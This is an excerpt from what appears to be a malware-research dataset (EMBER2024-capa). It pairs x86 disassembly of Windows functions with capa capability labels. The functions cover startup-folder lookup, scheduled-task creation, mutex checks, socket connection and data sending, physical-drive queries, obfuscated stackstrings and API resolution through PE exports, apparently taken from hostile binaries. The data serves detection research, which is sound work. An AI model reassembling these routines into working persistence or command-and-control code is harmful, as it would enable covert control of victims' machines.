joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408800
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449586
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x118], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4632e0
call fcn.004172e0
lea ecx, [ebp - 0x148]
call fcn.00405d40
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x120], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4088a0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.004179a0
push edi
lea edx, [ebp - 0x130]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.00417b00
mov edx, dword [ebp - 0x11c]
add esp, 4
cmp edx, 0x10
jb 0x408907
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4088fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408975
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x408958
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40894e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408975
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
call fcn.0043654a
int3
Function at 0x408980
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449586
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x118], esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4632e0
call fcn.004172e0
lea ecx, [ebp - 0x148]
call fcn.00405d40
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x120], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408a20
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.004179a0
push edi
lea edx, [ebp - 0x130]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.00417b00
mov edx, dword [ebp - 0x11c]
add esp, 4
cmp edx, 0x10
jb 0x408a87
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408a7d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408af5
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x408ad8
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408ace
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408af5
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
call fcn.0043654a
int3
Function at 0x408b00
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4495c6
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
lea eax, [ebp - 0x118]
mov dword [ebp - 0x11c], esi
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x4632e0
call fcn.004172e0
lea ecx, [ebp - 0x14c]
call fcn.00405d40
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x124], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408ba0
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x134]
call fcn.004179a0
push edi
lea edx, [ebp - 0x134]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.00417b00
mov edx, dword [ebp - 0x120]
add esp, 4
cmp edx, 0x10
jb 0x408c07
mov ecx, dword [ebp - 0x134]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408bfd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c75
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp edx, 0x10
jb 0x408c58
mov ecx, dword [ebp - 0x14c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408c4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c75
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
call fcn.0043654a
int3
Function at 0x40a430
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4631ec], 0x10
mov eax, 0x4631d8
cmovae eax, dword [0x4631d8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40a470
ret
push 0
call fcn.00435f09
int3
Function at 0x40b230
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4498c0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00417df0
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40b2c7
lea eax, [ebp - 0x2c]
push eax
push 0x459280
push 1
push 0
push 0x459270
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40b347
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40b303
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b2f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3ca
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40b3ae
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b3a4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b3ca
jmp 0x40b3a4
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x459304
push 0x458de0
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40b2c7
cmp eax, 0x80070050
jne 0x40b2c7
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40b394
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40b2c7
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40b2c9
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
call fcn.0043654a
int3
Function at 0x40c110
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449a50
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40c167
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40c17c
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x34]
push 1
call fcn.004186c0
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40c1a3
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40c1b8
push 0
push 1
mov byte [ebp - 0x34], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x34]
push 1
call fcn.004186c0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40c236
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c22c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c294
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40c278
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c26e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c294
push edx
push ecx
call fcn.0041cf4a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
call fcn.0043654a
int3
Function at 0x40d4e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x462014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x4664dc
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], ecx
call fcn.0041bf8c
add esp, 4
test eax, eax
jne 0x40d5eb
mov ecx, dword [0x466490]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], ecx
xor esi, esi
mov edi, 4
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40d541
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40d524
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x466490]
mov dword [ebp - 0x10], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40d57d
mov ecx, dword [ebp - 0x10]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40d560
mov edi, dword [ebp - 0xc]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmove edi, ecx
mov ecx, dword [0x466490]
xor esi, esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x18], ecx
test eax, eax
jle 0x40d5c7
mov edi, eax
mov eax, dword [ebp - 0x14]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40d5c4
mov ecx, dword [ebp - 0x18]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x40d5a2
mov edi, dword [ebp - 0xc]
jmp 0x40d5c7
or edi, 0xffffffff
push 0x4664dc
call fcn.0041bfb1
add esp, 4
test eax, eax
jne 0x40d5f1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041bb4a
push eax
call fcn.0041bb4a
int3
Function at 0x40dc60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.0041da30
mov eax, dword [0x462014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.00436df3
cmp dword [0x4630e4], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x4630d0
cmovae esi, dword [0x4630d0]
push eax
push esi
mov dword [edi], 0
call fcn.00438329
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40ddf4
cmp dword [edi], 0x22
je 0x40ddea
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40ddd3
cmp dword [0x4633fc], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4633e8
mov word [esp + 0x10], ax
cmovae esi, dword [0x4633e8]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x466490], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40dd83
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x466490]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x466490], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40dd50
lea ecx, [esp + 0x1b8]
call fcn.0040d9c0
cmp eax, 0xffffffff
je 0x40ddd3
cmp byte [0x46638c], 1
je 0x40ddc4
lea ecx, [esp + 0x1b8]
call fcn.0040d9c0
cmp eax, 0xffffffff
jne 0x40dd94
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
push dword [0x466490]
call esi
mov byte [0x46638c], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.0041c8d3
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041bab9
push str.invalid_stoi_argument
call fcn.0041ba79
int3
Function at 0x4165b0
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
push 0
push 0x4164f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x7530
call esi
jmp 0x4165a0
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040a430
mov ecx, 1
call fcn.0040c660
call fcn.0040cfc0
call fcn.00414840
jmp 0x416580

Function at 0x41f46d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4145c0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x5a0e6d
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x5f4964]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
mov eax, dword [0x5f4964]
xor eax, esp
push eax
lea eax, [esp + 0x220]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov eax, dword [0x5f8a44]
mov edx, dword [eax + 0xc]
mov ecx, 0x5f8a44
call edx
add eax, 0x10
mov dword [esp + 8], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e]
mov dword [esp + 0x230], ebx
push ecx
mov word [esp + 0x20], ax
call fcn.0056b960
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4146c8
lea eax, [esp + 0x14]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x414650
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x10]
call fcn.00415600
push 0x208
lea ecx, [esp + 0x18]
push 0
push ecx
call fcn.0056b960
mov eax, dword [esp + 0x14]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0
push 0x5c9114
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x4146c8
lea eax, [esp + 0x14]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4146a4
sub eax, edx
sar eax, 1
push eax
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x10]
call fcn.00415600
lea eax, [esp + 8]
jmp 0x4146f4
mov edx, dword [0x5f8a44]
mov eax, dword [edx + 0xc]
mov ecx, 0x5f8a44
call eax
add eax, 0x10
mov dword [esp + 0xc], eax
mov ebx, 1
mov byte [esp + 0x228], 1
lea eax, [esp + 0xc]
mov dword [esp + 0x10], ebx
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.004160f0
add eax, 0x10
or ebx, 2
add esp, 4
mov dword [edi], eax
mov dword [esp + 0x228], 0
test bl, 1
je 0x41473a
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41473a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x228], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414765
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [esp + 0x220]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.0056ab51
add esp, 0x224
ret
Function at 0x4158d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4158e9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x415924
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x415920
lea ebx, [ebx]
cmp esi, eax
jae 0x415924
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x415910
cmp esi, eax
jb 0x41592a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x418130
Capabilities:
Get storage device properties

Disassembly:
push 0xffffffffffffffff
push 0x5a21f8
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x5f4964]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5f4964]
xor eax, esp
push eax
lea eax, [esp + 0x5c]
mov dword fs:[0], eax
mov dword [esp + 0x20], ecx
call fcn.00418440
mov eax, dword [0x5f8a44]
mov edx, dword [eax + 0xc]
mov ecx, 0x5f8a44
call edx
add eax, 0x10
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x6c]
push eax
lea ecx, [esp + 0x20]
push str..PhysicalDrive_u
xor edi, edi
push ecx
mov dword [esp + 0x70], edi
call fcn.00416010
mov edx, dword [esp + 0x28]
add esp, 0xc
push edi
push edi
push 3
push edi
push 3
push edi
push edx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4182ef
xor eax, eax
push edi
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
lea eax, [esp + 0x1c]
push eax
push 8
lea ecx, [esp + 0x30]
push ecx
push 0xc
lea edx, [esp + 0x5c]
push edx
push 0x2d1400
push ebp
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4182d7
mov ebx, dword [esp + 0x28]
push 0x5f8b8d
push ebx
call fcn.0057016b
mov esi, eax
add esp, 8
cmp esi, edi
je 0x4182d7
push ebx
push edi
push esi
call fcn.0056b960
add esp, 0xc
push edi
lea eax, [esp + 0x1c]
push eax
push ebx
push esi
push 0xc
lea ecx, [esp + 0x5c]
push ecx
push 0x2d1400
push ebp
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4182d7
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x4182d7
cmp eax, ebx
jae 0x4182d7
add eax, esi
push eax
lea ecx, [esp + 0x18]
call fcn.00418390
lea ebx, [esp + 0x14]
mov byte [esp + 0x64], 1
call fcn.004185c0
mov edi, eax
call fcn.00418640
mov edx, dword [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
call fcn.00403470
mov eax, dword [esp + 0x20]
push eax
lea ecx, [esp + 0x30]
push ecx
mov byte [esp + 0x6c], 2
call fcn.0041ac20
add esp, 8
lea ecx, [esp + 0x2c]
call fcn.00403540
mov byte [esp + 0x64], 0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4182d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor edi, edi
cmp ebp, edi
je 0x4182e2
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, edi
je 0x4182ef
push esi
call fcn.0056b4f0
add esp, 4
mov ecx, dword [esp + 0x20]
cmp dword [ecx + 0x14], edi
mov dword [esp + 0x64], 0xffffffff
mov eax, dword [esp + 0x1c]
setne bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x418321
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, bl
mov ecx, dword [esp + 0x5c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.0056ab51
add esp, 0x54
ret
Function at 0x41ccc6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp eax, 0x48493943
inc eax
add esp, 4
pop ecx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push esi
push ebx
add esp, 4
jmp 0x41cd2b
sub esi, 0x2d44
and esi, 0x14da7
add esi, 0xcdb1
pop esi
push esi
push eax
Function at 0x41dae8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x41da4a
or esi, 0xe004
jmp 0x41da55
sub esi, 0x6f98
pop esi
push esi
push edi
add esp, 4
xor esi, 0x10ca
pop esi
mov ecx, dword [ebp - 0x196c]
mov dword [ebp - 0x1970], ecx
lea edx, [ebp - 0x1734]
push edx
call dword [ebp - 0x1970]
invalid
test eax, eax
jne 0x41dac6
push edi
jmp 0x41da8c
xor edi, 0x1464c
pop edi
push edi
sub edi, 0x11b7f
add edi, 0x1d72
pop edi
push ebx
and ebx, 0x10422
pop ebx
push edi
or edi, 0x6940
or edi, 0x10b12
pop edi
mov dword [ebp - 0x79c], 0
jmp 0x41e1b0
push edx
sub edx, 0x3138
xor edx, 0x7b68
pop edx
push edx
push esi
add esp, 4
call 0x41dae8
add byte [ebx + 0x47], al
aas
inc edi
dec esi
cmp eax, 0xc483363c
add al, 0x5a
push esi
push eax
add esp, 4
xor esi, 0x110ae
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1974], eax
mov ecx, dword [ebp - 0x1974]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1978], edx
mov eax, dword [ebp - 0x1978]
mov dword [ebp - 0x15f4], eax
push esi
or esi, 0x16eb5
xor esi, 0xac97
xor esi, 0x8c5e
add byte [eax], al
sub esi, 0xc4c
pop esi
push edi
push esi
add esp, 4
sub edi, 0xf69
or edi, 0x5e3b
add edi, 0xe80b
pop edi
cmp dword [ebp - 0x15f4], 0
jne 0x41db69
mov dword [ebp - 0x318], 0
jmp 0x41de10
mov ecx, dword [ebp - 0x15f4]
mov edx, dword [ecx + 0xc]
